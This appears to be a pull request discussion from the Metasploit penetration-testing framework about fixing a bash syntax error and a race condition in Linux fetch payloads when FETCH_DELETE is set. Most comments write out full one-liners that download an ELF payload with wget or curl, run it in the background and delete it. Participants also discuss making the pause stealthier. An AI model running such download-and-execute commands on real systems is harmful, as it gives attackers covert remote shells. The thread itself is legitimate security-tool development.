Fix bug in the way we are executing fetch payload when FETCH_DELETE is true

[bwatters-r7]

This change fixes a bug in the way we execute the payload elf inside fetch command payloads when the FETCH_DELETE value is set to true. @h00die-gr3y did a great job explaining everything in the issue, and then solving it.
Fixes #19391

Old and Busted

msfuser@ubuntu2004-vm:~$ wget -qO /tmp/uDhlPVBiInV http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg; chmod +x /tmp/uDhlPVBiInV; /tmp/uDhlPVBiInV &;rm -rf /tmp/uDhlPVBiInV
-bash: syntax error near unexpected token `;'

New and Improved

msfuser@ubuntu2004-vm:~$ wget -qO /tmp/uDhlPVBiInV http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg; chmod +x /tmp/uDhlPVBiInV; (/tmp/uDhlPVBiInV &);rm -rf /tmp/uDhlPVBiInV

Verification:

• Generate a Linux fetch payload with FETCH_DELETE set to true.
• Verify the payload elf is executed within a parenthetical i.e. (...)
• Verify you get the callback

Thanks, @h00die-gr3y!

[msutovsky-r7]

The issue itself seems to be fixed. The payload from bash syntax perspective is okay and it's running. However, from functional perspective, the payload seems to be causing some sort of race condition. Example:

curl -so /tmp/sLFETHiJPNOe http://192.168.95.128:8081/QWsFZF6RRwO7HKlYvH4TQA; chmod +x /tmp/sLFETHiJPNOe; (/tmp/sLFETHiJPNOe &);rm -rf /tmp/sLFETHiJPNOe

When the payload spawns a new process, the deletion of the payload is sometimes faster than new process. Which results in failure. I suspect race condition as the payload sometimes runs successfully.

[bwatters-r7]

I have not seen this, but I can believe it. I was concerned about that when we executed as background. I wonder if there's a very short sleep or time-consuming command we could run.

[msutovsky-r7]

Already tested that, we can do following:

curl -so /tmp/sLFETHiJPNOe http://192.168.95.128:8081/QWsFZF6RRwO7HKlYvH4TQA; chmod +x /tmp/sLFETHiJPNOe; (/tmp/sLFETHiJPNOe &); sleep 1; rm -rf /tmp/sLFETHiJPNOe

It should fix the problem, I tried it with meterpreter and it worked.

[bwatters-r7]

Already tested that, we can do following:

curl -so /tmp/sLFETHiJPNOe http://192.168.95.128:8081/QWsFZF6RRwO7HKlYvH4TQA; chmod +x /tmp/sLFETHiJPNOe; (/tmp/sLFETHiJPNOe &); sleep 1; rm -rf /tmp/sLFETHiJPNOe

It should fix the problem, I tried it with meterpreter and it worked.

In my mind I was thinking about something sneakier and shorter, but I'm not coming up with anything. Probably sleep is the best option. ping and timeout` are longer and use network; other options are not POSIX. What we're doing is not exactly subtle, so being sneaky about the pause is not going to affect the overall stealthyness....

[msutovsky-r7]

This also an option, I'm not sure if it's sneaky, but at least it's not a sleep:

 curl -so /tmp/sLFETHiJPNOe http://192.168.95.128:8081/QWsFZF6RRwO7HKlYvH4TQA; chmod +x /tmp/sLFETHiJPNOe; /tmp/sLFETHiJPNOe & pid=$!; wait $pid;rm -rf /tmp/sLFETHiJPNOe

Basically, just get pid of that spawned process, then wait for change of the process status - which means that the process is running and loaded and then delete it.

[bwatters-r7]

Using wait, the payload does not delete until the process stops and also blocks the launcher?
wget -qO /tmp/kJZLxQuOpDE http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg;chmod +x /tmp/kJZLxQuOpDE;/tmp/kJZLxQuOpDE & pid=$!; wait $pid; rm -rf /tmp/kJZLxQuOpDE

[msutovsky-r7]

Code is fine, used sleep with random number from range 3 and 7 rather than wait

[msutovsky-r7]

Release Notes

The bug in fetch payload resulted in malformed bash command when setting FETCH_DELETE to true, causing syntax error. While we fixed the original error, when we were testing the fix, we noticed a race condition - causing deleting the payload file before executing it. In the final fix, we added random sleep between executing and deleting to prevent race condition and to keep bash syntax integrity.